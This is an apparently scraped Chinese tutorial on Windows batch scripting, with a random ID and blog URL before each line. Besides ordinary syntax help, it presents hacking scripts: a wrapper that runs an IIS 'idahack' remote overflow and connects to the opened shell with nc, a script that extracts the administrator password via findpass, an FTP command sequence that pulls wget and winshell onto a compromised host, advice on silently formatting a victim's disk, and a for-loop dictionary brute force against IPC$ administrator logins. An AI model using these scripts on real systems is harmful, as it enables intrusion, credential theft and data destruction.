You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
FUIwkt http://blog.numino.net/
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
tp1g26 http://blog.numino.net/
To create the variable value new&name, type:
KlYke3 http://blog.numino.net/
set varname=new^&name
9eWiMo http://blog.numino.net/
To create the variable value "new&name", type:
575Rya http://blog.numino.net/
set varname="new&name"
gm6i7P http://blog.numino.net/
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
valng8 http://blog.numino.net/
find "Pacific Rim" < trade.txt > nwtrade.txt
59i4sk http://blog.numino.net/
IF EXIST filename. (del filename.) ELSE echo filename. missing
f6F8ue http://blog.numino.net/
> 创建一个文件
ard0FQ http://blog.numino.net/
>> 追加到一个文件后面
Y65Qzx http://blog.numino.net/
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
8SiCF9 http://blog.numino.net/
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
3SfTtU http://blog.numino.net/
echo 123456 ^> aaa
j3f0X8 http://blog.numino.net/
echo 1231231 > bbb
u7QA13 http://blog.numino.net/
() 包含命令
28Qhyy http://blog.numino.net/
(echo aa & echo bb)
6dO7dj http://blog.numino.net/
, 和空格一样的缺省分隔符号.
gU3JDZ http://blog.numino.net/
; 注释,表示后面为注释
I1ynoR http://blog.numino.net/
: 标号作用
tU3XEC http://blog.numino.net/
| 管道操作
tlMLVv http://blog.numino.net/
& Usage：第一条命令 & 第二条命令 [& 第三条命令...]
EYDRyu http://blog.numino.net/
用这种方法可以同时执行多条命令，而不管命令是否执行成功
eumSW0 http://blog.numino.net/
dir c:.exe & dir d:.exe & dir e:.exe
Abjn3f http://blog.numino.net/
&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
Yi4RiE http://blog.numino.net/
当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
4WDJsy http://blog.numino.net/
|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
0oQcia http://blog.numino.net/
当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；
U9llDF http://blog.numino.net/
常用语法格式
C6QA17 http://blog.numino.net/
IF [NOT] ERRORLEVEL number command para1 para2
V5dGdq http://blog.numino.net/
IF [NOT] string1==string2 command para1 para2
8nlK61 http://blog.numino.net/
IF [NOT] EXIST filename command para1 para2
msaWiP http://blog.numino.net/
IF EXIST filename command para1 para2
vy31E8 http://blog.numino.net/
IF NOT EXIST filename command para1 para2
xAOchM http://blog.numino.net/
IF "%1"=="" goto END
L2Qw71 http://blog.numino.net/
IF "%1"=="net" goto NET
Jf3MyC http://blog.numino.net/
IF NOT "%2"=="net" goto OTHER
BujtV7 http://blog.numino.net/
IF ERRORLEVEL 1 command para1 para2
4m190o http://blog.numino.net/
IF NOT ERRORLEVEL 1 command para1 para2
yFQ35t http://blog.numino.net/
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
J43w74 http://blog.numino.net/
FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do echo %i %j %k
5W5faQ http://blog.numino.net/
按照字母顺序 ijklmnopq依次取参数.
UFCcP5 http://blog.numino.net/
eol=c - 指一个行注释字符的结尾(就一个)
3MMTpL http://blog.numino.net/
skip=n - 指在文件开始时忽略的行数。
mOjU5K http://blog.numino.net/
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
9wTV67 http://blog.numino.net/
######################################################################
6eDEeE http://blog.numino.net/
4. 简单批处理文件概念
5FqE6D http://blog.numino.net/
######################################################################
yijbyP http://blog.numino.net/
echo This is test > a.txt
v8q5bz http://blog.numino.net/
type a.txt
RO4PyL http://blog.numino.net/
echo This is test 11111 >> a.txt
hem80S http://blog.numino.net/
type a.txt
qdeeGz http://blog.numino.net/
echo This is test 22222 > a.txt
p3cxrQ http://blog.numino.net/
type a.txt
fR18l6 http://blog.numino.net/
第二个echo是追加
sodxGn http://blog.numino.net/
第三个echo将清空a.txt 重新创建 a.txt
b9u6Gh http://blog.numino.net/
netstat -n | find "3389"
0Yff8U http://blog.numino.net/
这个将要列出所有连接3389的用户的ip.
M4pEcw http://blog.numino.net/
test.bat__
xmgyv9 http://blog.numino.net/
@echo please care
ZNtHz9 http://blog.numino.net/
echo plese care 1111
YOs8jL http://blog.numino.net/
echo plese care 2222
r6QEG6 http://blog.numino.net/
echo plese care 3333
vjk1bt http://blog.numino.net/
@echo please care
H074p6 http://blog.numino.net/
@echo plese care 1111
yWONHS http://blog.numino.net/
@echo plese care 2222
1Gm8X3 http://blog.numino.net/
@echo plese care 3333
Cj1xX0 http://blog.numino.net/
rem 不显示注释语句,本行显示
fAH0w7 http://blog.numino.net/
@rem 不显示注释语句,本行不显示
ti883N http://blog.numino.net/
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
2sB8Na http://blog.numino.net/
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
UlpNjn http://blog.numino.net/
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
vHR30U http://blog.numino.net/
ida.bat_
x5Z8fF http://blog.numino.net/
@rem ver 1.0
wLin4d http://blog.numino.net/
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
2eYb73 http://blog.numino.net/
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
0APEyn http://blog.numino.net/
@if "%1" =="" goto USAGE
VPZQWO http://blog.numino.net/
@if NOT "%2" =="" goto SP2
jSCF0U http://blog.numino.net/
:start
Iqs0xn http://blog.numino.net/
@echo Now start ...
g58626 http://blog.numino.net/
@ping %1
sPjW7v http://blog.numino.net/
@echo chinese win2k:1 sp1:2 sp2:3
9YB262 http://blog.numino.net/
idahack.exe %1 80 1 99 >%temp%_tmp
Z9b06l http://blog.numino.net/
@echo "prog exit code [%errorlevel%] idahack.exe"
u7v6sR http://blog.numino.net/
@type %temp%_tmp
D1d3E3 http://blog.numino.net/
@find "good luck :)" %temp%_tmp
kjDSZu http://blog.numino.net/
@echo "prog exit code [%errorlevel%] find [goog luck]"
dOYvhi http://blog.numino.net/
@if NOT errorlevel 1 nc.exe %1 99
oP5FYb http://blog.numino.net/
@goto END
qYdli8 http://blog.numino.net/
:SP2
7Si2k2 http://blog.numino.net/
@idahack.exe %1 80 %2 99 %temp%_tmp
QBvSDB http://blog.numino.net/
@type %temp%_tmp
M1KrqC http://blog.numino.net/
@find "good luck :)" %temp%tmp
7dV5sG http://blog.numino.net/
@if NOT errorlevel 1 nc.exe %1 99
9V8PDX http://blog.numino.net/
@goto END
r0TpMs http://blog.numino.net/
:USAGE
28BEqq http://blog.numino.net/
@echo Example: ida.bat IP
RmqAXS http://blog.numino.net/
@echo Example: ida.bat IP (2,3)
UXz1b4 http://blog.numino.net/
:END
QhcstC http://blog.numino.net/
ida.batEND
hi0wuy http://blog.numino.net/
下面我们再来第二个文件.就是得到administrator的口令.
r55jjY http://blog.numino.net/
大多数人说得不到.其实是自己的没有输入正确的信息.
Wa3spe http://blog.numino.net/
fpass.bat
YmKZty http://blog.numino.net/
@rem ver 1.0
rhzAY6 http://blog.numino.net/
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
h487mP http://blog.numino.net/
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
8KSzl5 http://blog.numino.net/
@echo start....
LhAxoF http://blog.numino.net/
@echo
n12u3o http://blog.numino.net/
@if "%1"=="" goto USAGE
jxc9vQ http://blog.numino.net/
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
npmOy7 http://blog.numino.net/
@echo "prog exit code [%errorlevel%] findpass.exe"
n6kD86 http://blog.numino.net/
@type %temp%_findpass.txt
TnM5HY http://blog.numino.net/
@echo Herepass★★★★★★★★
lVRDGc http://blog.numino.net/
@ipconfig /all >>%temp%_findpass.txt
e8xxz8 http://blog.numino.net/
@goto END
5J9W8T http://blog.numino.net/
:USAGE
r96Mq9 http://blog.numino.net/
@pulist.exe >%temp%_pass.txt
0WzmQi http://blog.numino.net/
@findstr.exe /i "WINLOGON explorer internat" %temp%pass.txt
cm0VZx http://blog.numino.net/
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
WZ63cb http://blog.numino.net/
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
KHMG1k http://blog.numino.net/
:END
LhZMQY http://blog.numino.net/
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
c33ck2 http://blog.numino.net/
@echo " fpass.bat end [%errorlevel%] !"
Cpp407 http://blog.numino.net/
fpass.batEND__
5oupBB http://blog.numino.net/
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
D6GMuk http://blog.numino.net/
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
v3G6v3 http://blog.numino.net/
echo open 210.64.x.4 3396>w
cgXOHC http://blog.numino.net/
echo read>>w
ueowPg http://blog.numino.net/
echo read>>w
IYtFdN http://blog.numino.net/
echo cd winnt>>w
xx1EKu http://blog.numino.net/
echo binary>>w
jXrWZy http://blog.numino.net/
echo pwd >>w
YO77kz http://blog.numino.net/
echo get wget.exe >>w
189Ww8 http://blog.numino.net/
echo get winshell.exe >>w
bdYyW8 http://blog.numino.net/
echo get any.exe >>w
ub0WYS http://blog.numino.net/
echo quit >>w
w7HVZs http://blog.numino.net/
ftp -s:w
Ktpo0a http://blog.numino.net/
批处理，说白了就是DOS操作。有人认为DOS操作过时了、落后了，其实不然。DOS操作最大的好处就在于快、不留痕。在许多时候，Windows操作是根本解决不了问题的，必须借助DOS操作。
lQzK1y http://blog.numino.net/
必备常识：批处理的编写和修改
C0bTcg http://blog.numino.net/
打开记事本，将要编写的内容写在里面。在存为bat文件即可。修改也可以用记事本打开进行修改。
idzY1t http://blog.numino.net/
批处理运用一：扫描本地端口
B75oUm http://blog.numino.net/
这个功能优化大师有，就是扫描哪个端口与internet连接和连接ip。这，为及时发现并拦截非法连接有着不可取代的功劳。
8Zu9oQ http://blog.numino.net/
然而，启动优化大师太慢了，而且太烦了，不利于随机使用。因此，编写一个这样的批处理来解决问题就显得尤为重要了。
zc8tTZ http://blog.numino.net/
7xaiJf http://blog.numino.net/
代码：
xAdgJ6 http://blog.numino.net/
netstat -n
K2odEG http://blog.numino.net/
pause
i2p65Q http://blog.numino.net/
附：也可在每一行开头添上“@”，这样命令就不会显示出来。
fc8WEh http://blog.numino.net/
IVGm8w http://blog.numino.net/
批处理运用二：查常见病毒
68bW2D http://blog.numino.net/
其实，对于上网的人来说，遇到病毒是在所难免的。然而，如果真的不幸感染，怎样才能发现呢？难道真的要买昂贵的杀毒软件吗？不一定。
1q6tzw http://blog.numino.net/
我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒，可以下载专用杀毒工具进行查杀，或采取其他途径杀毒。
EMsT1t http://blog.numino.net/
下面，我以欢乐时光为例进行分析：
YAwEhw http://blog.numino.net/
yEtSHu http://blog.numino.net/
主文件：1.bat
pqclkY http://blog.numino.net/
其它文件：2.bat 3.bat
mjP3H7 http://blog.numino.net/
Ka7n9g http://blog.numino.net/
1.bat代码：
UGQZVt http://blog.numino.net/
@if exist c:\folder.htt call 2.bat
UyQeeo http://blog.numino.net/
@if exist d:\folder.htt call 2.bat
czAlJT http://blog.numino.net/
@if exist e:\folder.htt call 2.bat
bTcSsn http://blog.numino.net/
@if exist f:\folder.htt call 2.bat
JSAqEd http://blog.numino.net/
UoxhKC http://blog.numino.net/
2.bat代码：
2evt53 http://blog.numino.net/
@echo 发现欢乐时光病毒！
cXuT1I http://blog.numino.net/
@call 3.bat
1NmeLM http://blog.numino.net/
@pause
3Vb7Vj http://blog.numino.net/
bYH61O http://blog.numino.net/
3.bat代码：
d8FZ30 http://blog.numino.net/
@c:
32u657 http://blog.numino.net/
@dir .htt .ini /s/a>1.txt
6uDCyV http://blog.numino.net/
@d:
e39gJS http://blog.numino.net/
@dir .htt .ini /s/a>1.txt
Rj637l http://blog.numino.net/
@e:
0Hl5w3 http://blog.numino.net/
@dir .htt .ini /s/a>1.txt
3P5sNC http://blog.numino.net/
th4e0W http://blog.numino.net/
这样，如果中毒，那么必定会存在大量folder.htt和Desktop.ini，通过这样可以粗略的检查计算机是否感染病毒。
73Io1G http://blog.numino.net/
批处理运用三：文件处理
efROWL http://blog.numino.net/
假设，我要大规模的做文件的移动、删除等，如果在Windows里操作不免会出现错误，而且这些错误不易察觉。因此，用批处理进行操作，不但简单易行，而且容易发现错误并可以及时纠正。
7BLSQt http://blog.numino.net/
例如，我要将D盘的htm文件移动到E盘，再格式化D盘，然后将文件移回D盘，并改后缀为html。
yagZT0 http://blog.numino.net/
fvfRyI http://blog.numino.net/
1.bat代码：
iQ1Exf http://blog.numino.net/
@E:
ef3TMw http://blog.numino.net/
@Md d
3iJ9X0 http://blog.numino.net/
@D:
y7N3JR http://blog.numino.net/
@Copy .htm e:\d
AcPn08 http://blog.numino.net/
@if exist e:\d.htm call 2.bat
vOC7uk http://blog.numino.net/
**
4G64cv http://blog.numino.net/
2.bat代码：
2UCyJO http://blog.numino.net/
@Format d:/q
3J05ex http://blog.numino.net/
@Copy e:\d.htm d:
Xh8h9x http://blog.numino.net/
@D:
toJNyX http://blog.numino.net/
@Ren .htm .html
F4K01d http://blog.numino.net/
mtsbLf http://blog.numino.net/
从例子中，可以看出，如果一旦出现问题，是很容易被发现的。从而，也证明了批处理的可用性。
53ZTUW http://blog.numino.net/
关于批处理的运用，可以说博大精深，变化莫测。希望大家能够用DOS命令去优化它，这样才能让其更好的为我们服务。
1rGQx6 http://blog.numino.net/
批处理命令
gvu9gy http://blog.numino.net/
1.Echo 命令
F7SYg3 http://blog.numino.net/
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
y5wR9h http://blog.numino.net/
语法：echo [{on|off}] [message]
89gD3s http://blog.numino.net/
Sample：echo off / echo hello world
6g43C1 http://blog.numino.net/
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
BmPttE http://blog.numino.net/
2.@ 命令
5f7Ps5 http://blog.numino.net/
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
11a12X http://blog.numino.net/
Sample：@echo off
211Q8y http://blog.numino.net/
@echo Now initializing the program,please wait a minite...
G0ZdLP http://blog.numino.net/
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)
FTsgk0 http://blog.numino.net/
3.Goto 命令
fMwGgp http://blog.numino.net/
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
P8Mru2 http://blog.numino.net/
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
2Ul006 http://blog.numino.net/
Sample：
92O5De http://blog.numino.net/
if {%1}=={} goto noparms
EZ4RAY http://blog.numino.net/
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）
mU3rdU http://blog.numino.net/
@Rem check parameters if null show usage
9hn4eN http://blog.numino.net/
:noparms
39yZm5 http://blog.numino.net/
echo Usage: monitor.bat ServerIP PortNumber
FzEP2F http://blog.numino.net/
goto end
N41ler http://blog.numino.net/
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
tK5wSX http://blog.numino.net/
4.Rem 命令
4zQ208 http://blog.numino.net/
注释命令，在C语言中相当与/--------/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
RbR2bW http://blog.numino.net/
Rem Message
1nMVRX http://blog.numino.net/
Sample：@Rem Here is the description.
KraapH http://blog.numino.net/
5.Pause 命令
dhXmzn http://blog.numino.net/
运行 Pause 命令时，将显示下面的消息：
X5wqqm http://blog.numino.net/
Press any key to continue . . .
pwHeV1 http://blog.numino.net/
Sample：
rr0kdj http://blog.numino.net/
@echo off
bg78wv http://blog.numino.net/
:begin
7k2VXt http://blog.numino.net/
copy a:. d：\back
Jk4Hz4 http://blog.numino.net/
echo Please put a new disk into driver A
SdG4in http://blog.numino.net/
pause
XHnEgu http://blog.numino.net/
goto begin
NfAm5R http://blog.numino.net/
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。
6FMwgq http://blog.numino.net/
6.Call 命令
60LVgH http://blog.numino.net/
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
M398FU http://blog.numino.net/
语法：call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
DBB0fF http://blog.numino.net/
参数：[Drive:}[Path] FileName
ldaaJn http://blog.numino.net/
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
4BBBFp http://blog.numino.net/
7.start 命令
KlcQXK http://blog.numino.net/
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
ORIgOd http://blog.numino.net/
入侵常用参数：
21Ffm5 http://blog.numino.net/
MIN 开始时窗口最小化
6Hucaz http://blog.numino.net/
SEPARATE 在分开的空间内开始 16 位 Windows 程序
Po7Wl4 http://blog.numino.net/
HIGH 在 HIGH 优先级类别开始应用程序
drhCgG http://blog.numino.net/
REALTIME 在 REALTIME 优先级类别开始应用程序
W1F6Dj http://blog.numino.net/
WAIT 启动应用程序并等候它结束
7i4nrL http://blog.numino.net/
parameters 这些为传送到命令/程序的参数
AiGk4X http://blog.numino.net/
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
CCm19R http://blog.numino.net/
8.choice 命令
0G9K6A http://blog.numino.net/
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……
kelx7k http://blog.numino.net/
如: choice /c:dme defrag,mem,end
h25z7X http://blog.numino.net/
将显示
A76X06 http://blog.numino.net/
defrag,mem,end[D,M,E]?
9RkwDr http://blog.numino.net/
Sample：
PkO30k http://blog.numino.net/
Sample.bat的内容如下:
y7ZN9u http://blog.numino.net/
@echo off
qoIV6V http://blog.numino.net/
choice /c:dme defrag,mem,end
4HNlwm http://blog.numino.net/
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
f8hMMR http://blog.numino.net/
if errorlevel 2 goto mem
A9H9RC http://blog.numino.net/
if errotlevel 1 goto end
3N4gCW http://blog.numino.net/
:defrag
yBqFbU http://blog.numino.net/
c:\dos\defrag
Ot3Php http://blog.numino.net/
goto end
4exqI9 http://blog.numino.net/
:mem
4BmN6k http://blog.numino.net/
mem
lByexX http://blog.numino.net/
goto end
rYV4g2 http://blog.numino.net/
:end
3EkOt0 http://blog.numino.net/
echo good bye
YMO48e http://blog.numino.net/
此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。
rbDjIt http://blog.numino.net/
9.If 命令
9Qj3oe http://blog.numino.net/
if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
vi66Sl http://blog.numino.net/
1、if "参数" == "字符串" 待执行的命令
RVlpa4 http://blog.numino.net/
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
dm1zAu http://blog.numino.net/
如if "%1"=="a" format a:
kC1QZU http://blog.numino.net/
if {%1}=={} goto noparms
E0boO0 http://blog.numino.net/
if {%2}=={} goto noparms
g56qjX http://blog.numino.net/
2、if exist 文件名 待执行的命令
OP1QtN http://blog.numino.net/
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
rzLy6L http://blog.numino.net/
如if exist config.sys edit config.sys
dB7HYF http://blog.numino.net/
3、if errorlevel / if not errorlevel 数字 待执行的命令
wpyFO9 http://blog.numino.net/
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
uD9g3e http://blog.numino.net/
如if errorlevel 2 goto x2
3P69cT http://blog.numino.net/
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。
Y7Y8oh http://blog.numino.net/
10.for 命令
25593s http://blog.numino.net/
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
Bq7UI8 http://blog.numino.net/
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
x0KqFY http://blog.numino.net/
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
3xN9da http://blog.numino.net/
%variable 指定一个单一字母可替换的参数。
E4uwXT http://blog.numino.net/
(set) 指定一个或一组文件。可以使用通配符。
3Y8Oas http://blog.numino.net/
command 指定对每个文件执行的命令。
Y0W7gd http://blog.numino.net/
command-parameters 为特定命令指定参数或命令行开关。
HNvbZy http://blog.numino.net/
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
16vAzz http://blog.numino.net/
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I
7M7EiJ http://blog.numino.net/
如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
l8Ss3C http://blog.numino.net/
支持:
28D1Hq http://blog.numino.net/
FOR /D %variable IN (set) DO command [command-parameters]
8AG5XU http://blog.numino.net/
如果集中包含通配符，则指定与目录名匹配，而不与文件
4I7WYK http://blog.numino.net/
名匹配。
3vrlMq http://blog.numino.net/
FOR /R [[drive:]path] %variable IN (set) DO command [command-
I12s58 http://blog.numino.net/
检查以 [drive:]path 为根的目录树，指向每个目录中的
7rp6yj http://blog.numino.net/
FOR 语句。如果在 /R 后没有指定目录，则使用当前
YbF0hn http://blog.numino.net/
目录。如果集仅为一个单点(.)字符，则枚举该目录树。
55w9HW http://blog.numino.net/
FOR /L %variable IN (start,step,end) DO command [command-para
e8is86 http://blog.numino.net/
该集表示以增量形式从开始到结束的一个数字序列。
3e5MW9 http://blog.numino.net/
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
YZ8kB6 http://blog.numino.net/
序列 (5 4 3 2 1)。
NBvE84 http://blog.numino.net/
FOR /F ["options"] %variable IN (file-set) DO command
oD7mG4 http://blog.numino.net/
FOR /F ["options"] %variable IN ("string") DO command
E5s5H6 http://blog.numino.net/
FOR /F ["options"] %variable IN (command) DO command
V1T41j http://blog.numino.net/
或者，如果有 usebackq 选项:
Iq5S23 http://blog.numino.net/
FOR /F ["options"] %variable IN (file-set) DO command
JtJzgu http://blog.numino.net/
FOR /F ["options"] %variable IN ("string") DO command
N1GLtT http://blog.numino.net/
FOR /F ["options"] %variable IN (command) DO command
x196q5 http://blog.numino.net/
filenameset 为一个或多个文件名。继续到 filenameset 中的
I96m11 http://blog.numino.net/
下一个文件之前，每份文件都已被打开、读取并经过处理。
NN3YFL http://blog.numino.net/
处理包括读取文件，将其分成一行行的文字，然后将每行
kRNUn2 http://blog.numino.net/
解析成零或更多的符号。然后用已找到的符号字符串变量值
Ru8Tg9 http://blog.numino.net/
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
7pX2Qg http://blog.numino.net/
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
I9XKux http://blog.numino.net/
参数替代默认解析操作。这个带引号的字符串包括一个或多个
YVIKn1 http://blog.numino.net/
指定不同解析选项的关键字。这些关键字为:
TBSyyU http://blog.numino.net/
eol=c - 指一个行注释字符的结尾(就一个)
10e409 http://blog.numino.net/
skip=n - 指在文件开始时忽略的行数。
xBOQEc http://blog.numino.net/
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
B5JKU1 http://blog.numino.net/
默认分隔符集。
Xgl1dm http://blog.numino.net/
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
u8rwVE http://blog.numino.net/
的 for 本身。这会导致额外变量名称的
AnfBNX http://blog.numino.net/
格式为一个范围。通过 nth 符号指定 m
8tA86g http://blog.numino.net/
符号字符串中的最后一个字符星号，
wVCpVW http://blog.numino.net/
那么额外的变量将在最后一个符号解析之
jf0qtR http://blog.numino.net/
分配并接受行的保留文本。
80seOs http://blog.numino.net/
usebackq - 指定新语法已在下类情况中使用:
rVu235 http://blog.numino.net/
在作为命令执行一个后引号的字符串并且
1AvQ93 http://blog.numino.net/
引号字符为文字字符串命令并允许在 fi
266J64 http://blog.numino.net/
中使用双引号扩起文件名称。
7cyUaD http://blog.numino.net/
sample1:
6oSJhZ http://blog.numino.net/
FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do command
5cZ6G0 http://blog.numino.net/
会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将
525UZd http://blog.numino.net/
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
Q374K0 http://blog.numino.net/
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
bOw8BR http://blog.numino.net/
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
PU3Fb0 http://blog.numino.net/
来取得第三个符号后的所有剩余符号。对于带有空格的文件
Gy4Ogu http://blog.numino.net/
名，您需要用双引号将文件名括起来。为了用这种方式来使
06dhl6 http://blog.numino.net/
用双引号，您还需要使用 usebackq 选项，否则，双引号会
8k0bak http://blog.numino.net/
被理解成是用作定义某个要分析的字符串的。
Ltuwu3 http://blog.numino.net/
%i 专门在 for 语句中得到说明，%j 和 %k 是通过
Y3aMd0 http://blog.numino.net/
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
O7L8CL http://blog.numino.net/
指定最多 26 个符号，只要不试图说明一个高于字母 z 或
V4nB4k http://blog.numino.net/
Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
Fp8rRx http://blog.numino.net/
同时不能有 52 个以上都在使用中。
4jpO4s http://blog.numino.net/
您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
ki7R0Z http://blog.numino.net/
用单引号将括号之间的 filenameset 括起来。这样，该字符
PpMlCc http://blog.numino.net/
串会被当作一个文件中的一个单一输入行。
G7B2bd http://blog.numino.net/
最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
uD96zT http://blog.numino.net/
括号之间的 filenameset 变成一个反括字符串。该字符串会
uldHQP http://blog.numino.net/
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进
HElCJE http://blog.numino.net/
内存，并被当作文件分析。因此，以下例子:
LiD37R http://blog.numino.net/
FOR /F "usebackq delims==" %i IN (set) DO @echo %i
4NABzv http://blog.numino.net/
会枚举当前环境中的环境变量名称。
ZlNSQn http://blog.numino.net/
另外，FOR 变量参照的替换已被增强。您现在可以使用下列
NDMU6N http://blog.numino.net/
选项语法:
VLVzD9 http://blog.numino.net/
~I - 删除任何引号(")，扩充 %I
Awruxr http://blog.numino.net/
%~fI - 将 %I 扩充到一个完全合格的路径名
RJM02X http://blog.numino.net/
%~dI - 仅将 %I 扩充到一个驱动器号
n78kPg http://blog.numino.net/
%~pI - 仅将 %I 扩充到一个路径
714fP5 http://blog.numino.net/
%~nI - 仅将 %I 扩充到一个文件名
e5UqN5 http://blog.numino.net/
%~xI - 仅将 %I 扩充到一个文件扩展名
LgZ4ZC http://blog.numino.net/
%~sI - 扩充的路径只含有短名
x8hC0A http://blog.numino.net/
%~aI - 将 %I 扩充到文件的文件属性
rBJo1n http://blog.numino.net/
%~tI - 将 %I 扩充到文件的日期/时间
ztkwyw http://blog.numino.net/
%~zI - 将 %I 扩充到文件的大小
G4jl9T http://blog.numino.net/
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
iy30wZ http://blog.numino.net/
到找到的第一个完全合格的名称。如果环境变量
9HWex9 http://blog.numino.net/
未被定义，或者没有找到文件，此组合键会扩充
mW9u23 http://blog.numino.net/
空字符串
9QTR7J http://blog.numino.net/
可以组合修饰符来得到多重结果:
nf2055 http://blog.numino.net/
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
5bwJbm http://blog.numino.net/
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
3qAj8a http://blog.numino.net/
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
M1arEf http://blog.numino.net/
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
T77LBh http://blog.numino.net/
到找到的第一个驱动器号和路径。
aXCgm0 http://blog.numino.net/
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
2zzQC1 http://blog.numino.net/
在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
4ksI5E http://blog.numino.net/
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
Qf4AQl http://blog.numino.net/
比较易读，而且避免与不分大小写的组合键混淆。
qNIh7v http://blog.numino.net/
以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。
a8GZFP http://blog.numino.net/
sample2：
7n9VxX http://blog.numino.net/
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
VbwBo6 http://blog.numino.net/
我们用net use \ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
B0WHC8 http://blog.numino.net/
最主要的命令是一条：for /f i% in (dict.txt) do net use \ip\ipc$ "i%" /u:"administrator"
